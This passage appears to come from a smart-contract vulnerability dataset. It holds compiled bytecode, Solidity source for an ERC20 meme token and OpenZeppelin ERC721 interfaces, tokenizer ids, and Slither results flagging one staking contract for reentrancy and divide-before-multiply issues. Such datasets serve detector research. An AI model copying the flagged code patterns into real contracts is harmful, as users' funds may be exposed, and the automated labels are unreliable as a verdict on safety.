0000000000000000000000000000081526004018080602001828103825260358152602001806124776035913960400191505060405180910390fd5b7fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60085481565b600061175d426007546120a1565b905090565b600c6020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b600160036000828254019250508190555060006003549050600560009054906101000a900460ff1615611823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603c8152602001806124fc603c913960400191505060405180910390fd5b3361182c611bf1565b600b8190555061183a61174f565b600a81905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146119075761187d8161078c565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b54600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000831161197d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f43616e6e6f74207374616b65203000000000000000000000000000000000000081525060200191505060405180910390fd5b61199283600e54611ea190919063ffffffff16565b600e819055506119ea83600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea190919063ffffffff16565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a7c333085600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166120ba909392919063ffffffff16565b3373ffffffffffffffffffffffffffffffffffffffff167f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d846040518082815260200191505060405180910390a2506003548114611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b5050565b600a5481565b611b54611f29565b6007544211611bae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605881526020018061241f6058913960600191505060405180910390fd5b806009819055507ffb46ca5a5e06d4540d6387b930a7c978bce0db5f449ec6b3f5d07c6e1d44f2d36009546040518082815260200191505060405180910390a150565b600080600e541415611c0757600b549050611c7c565b611c79611c68600e54611c5a670de0b6b3a7640000611c4c600854611c3e600a54611c3061174f565b611d0390919063ffffffff16565b611d8c90919063ffffffff16565b611d8c90919063ffffffff16565b611e1290919063ffffffff16565b600b54611ea190919063ffffffff16565b90505b90565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b611cf3600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a92565b611cfb6111af565b565b60075481565b600082821115611d7b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b600080831415611d9f5760009050611e0c565b6000828402905082848281611db057fe5b0414611e07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806124db6021913960400191505060405180910390fd5b809150505b92915050565b6000808211611e89576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b6000828481611e9457fe5b0490508091505092915050565b600080828401905083811015611f1f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f8152602001806124ac602f913960400191505060405180910390fd5b565b61209c838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506121c0565b505050565b60008183106120b057816120b2565b825b905092915050565b6121ba848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506121c0565b50505050565b6121df8273ffffffffffffffffffffffffffffffffffffffff1661240b565b612251576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b602083106122a0578051825260208201915060208101905060208303925061227d565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612302576040519150601f19603f3d011682016040523d82523d6000602084013e612307565b606091505b50915091508161237f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b6000815111156124055780806020019051602081101561239e57600080fd5b8101908080519060200190929190505050612404576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612562602a913960400191505060405180910390fd5b5b50505050565b600080823b90506000811191505091905056fe50726576696f7573207265776172647320706572696f64206d75737420626520636f6d706c657465206265666f7265206368616e67696e6720746865206475726174696f6e20666f7220746865206e657720706572696f64596f75206d757374206265206e6f6d696e61746564206265666f726520796f752063616e20616363657074206f776e6572736869704f6e6c792074686520636f6e7472616374206f776e6572206d617920706572666f726d207468697320616374696f6e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775468697320616374696f6e2063616e6e6f7420626520706572666f726d6564207768696c652074686520636f6e74726163742069732070617573656443616c6c6572206973206e6f742052657761726473446973747269627574696f6e20636f6e74726163745361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a72315820ed7c259eb19eb959eb30dac453da89453a2b0db1c20381547a852fe7f029394c64736f6c63430005100032 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22275,
15878,
2683,
2050,
2549,
2050,
2692,
16703,
2575,
2546,
16147,
2546,
16576,
23632,
2278,
28311,
28154,
24434,
2692,
2683,
4246,
26976,
2683,
24594,
22407,
2692,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
2385,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
8785,
1013,
8785,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
8785,
1013,
3647,
18900,
2232,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
9413,
2278,
11387,
3207,
14162,
2098,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
3647,
2121,
2278,
11387,
1012,
14017,
1000,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,505 | 0x953ee146aB7c67d891c6c838931404668e66Bb78 | pragma solidity ^0.8.4;
interface ERC20 {
//Methods
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
//Events
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Token is ERC20{
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _name;
string private _symbol;
address payable private _owner;
constructor() {
_symbol = "SPACESPAC";
_name = "Daddy Elon Musk to the Moon Coin";
_decimals = 6;
_totalSupply = 10000000000000;
_owner = payable(msg.sender);
_balances[_owner] = _totalSupply;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][msg.sender];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, msg.sender, currentAllowance - amount);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce5671461013457806370a082311461015257806395d89b4114610182578063a9059cbb146101a0578063dd62ed3e146101d057610093565b806306fdde0314610098578063095ea7b3146100b657806318160ddd146100e657806323b872dd14610104575b600080fd5b6100a0610200565b6040516100ad9190610bdf565b60405180910390f35b6100d060048036038101906100cb9190610a4c565b610292565b6040516100dd9190610bc4565b60405180910390f35b6100ee6102a9565b6040516100fb9190610cc1565b60405180910390f35b61011e600480360381019061011991906109f9565b6102b3565b60405161012b9190610bc4565b60405180910390f35b61013c61039d565b6040516101499190610cdc565b60405180910390f35b61016c6004803603810190610167919061098c565b6103b4565b6040516101799190610cc1565b60405180910390f35b61018a6103fc565b6040516101979190610bdf565b60405180910390f35b6101ba60048036038101906101b59190610a4c565b61048e565b6040516101c79190610bc4565b60405180910390f35b6101ea60048036038101906101e591906109b9565b6104a5565b6040516101f79190610cc1565b60405180910390f35b60606004805461020f90610df1565b80601f016020809104026020016040519081016040528092919081815260200182805461023b90610df1565b80156102885780601f1061025d57610100808354040283529160200191610288565b820191906000526020600020905b81548152906001019060200180831161026b57829003601f168201915b5050505050905090565b600061029f33848461052c565b6001905092915050565b6000600254905090565b60006102c08484846106f7565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161037b90610c61565b60405180910390fd5b610391853385840361052c565b60019150509392505050565b6000600360009054906101000a900460ff16905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606005805461040b90610df1565b80601f016020809104026020016040519081016040528092919081815260200182805461043790610df1565b80156104845780601f1061045957610100808354040283529160200191610484565b820191906000526020600020905b81548152906001019060200180831161046757829003601f168201915b5050505050905090565b600061049b3384846106f7565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561059c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059390610ca1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561060c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060390610c21565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516106ea9190610cc1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610767576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075e90610c81565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156107d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ce90610c01565b60405180910390fd5b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561085d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085490610c41565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108f09190610d13565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109549190610cc1565b60405180910390a350505050565b60008135905061097181611071565b92915050565b60008135905061098681611088565b92915050565b6000602082840312156109a2576109a1610e81565b5b60006109b084828501610962565b91505092915050565b600080604083850312156109d0576109cf610e81565b5b60006109de85828601610962565b92505060206109ef85828601610962565b9150509250929050565b600080600060608486031215610a1257610a11610e81565b5b6000610a2086828701610962565b9350506020610a3186828701610962565b9250506040610a4286828701610977565b9150509250925092565b60008060408385031215610a6357610a62610e81565b5b6000610a7185828601610962565b9250506020610a8285828601610977565b9150509250929050565b610a9581610d7b565b82525050565b6000610aa682610cf7565b610ab08185610d02565b9350610ac0818560208601610dbe565b610ac981610e86565b840191505092915050565b6000610ae1602383610d02565b9150610aec82610e97565b604082019050919050565b6000610b04602283610d02565b9150610b0f82610ee6565b604082019050919050565b6000610b27602683610d02565b9150610b3282610f35565b604082019050919050565b6000610b4a602883610d02565b9150610b5582610f84565b604082019050919050565b6000610b6d602583610d02565b9150610b7882610fd3565b604082019050919050565b6000610b90602483610d02565b9150610b9b82611022565b604082019050919050565b610baf81610da7565b82525050565b610bbe81610db1565b82525050565b6000602082019050610bd96000830184610a8c565b92915050565b60006020820190508181036000830152610bf98184610a9b565b905092915050565b60006020820190508181036000830152610c1a81610ad4565b9050919050565b60006020820190508181036000830152610c3a81610af7565b9050919050565b60006020820190508181036000830152610c5a81610b1a565b9050919050565b60006020820190508181036000830152610c7a81610b3d565b9050919050565b60006020820190508181036000830152610c9a81610b60565b9050919050565b60006020820190508181036000830152610cba81610b83565b9050919050565b6000602082019050610cd66000830184610ba6565b92915050565b6000602082019050610cf16000830184610bb5565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610d1e82610da7565b9150610d2983610da7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610d5e57610d5d610e23565b5b828201905092915050565b6000610d7482610d87565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015610ddc578082015181840152602081019050610dc1565b83811115610deb576000848401525b50505050565b60006002820490506001821680610e0957607f821691505b60208210811415610e1d57610e1c610e52565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61107a81610d69565b811461108557600080fd5b50565b61109181610da7565b811461109c57600080fd5b5056fea2646970667358221220ce52075616bf981ea30e91b0ca36dab529da62ba02018fb11ce2d13b39faccc564736f6c63430008060033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
22275,
4402,
16932,
2575,
7875,
2581,
2278,
2575,
2581,
2094,
2620,
2683,
2487,
2278,
2575,
2278,
2620,
22025,
2683,
21486,
12740,
21472,
2575,
2620,
2063,
28756,
10322,
2581,
2620,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
8278,
9413,
2278,
11387,
1063,
1013,
1013,
4725,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
14300,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,506 | 0x953f2e39174debf031dc42d176513f6ee0a48a8c | // Sources flattened with hardhat v2.6.2 https://hardhat.org
// File @openzeppelin/contracts/utils/introspection/IERC165.sol@v4.3.1
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts/token/ERC721/IERC721.sol@v4.3.1
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol@v4.3.1
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol@v4.3.1
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File @openzeppelin/contracts/utils/Address.sol@v4.3.1
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
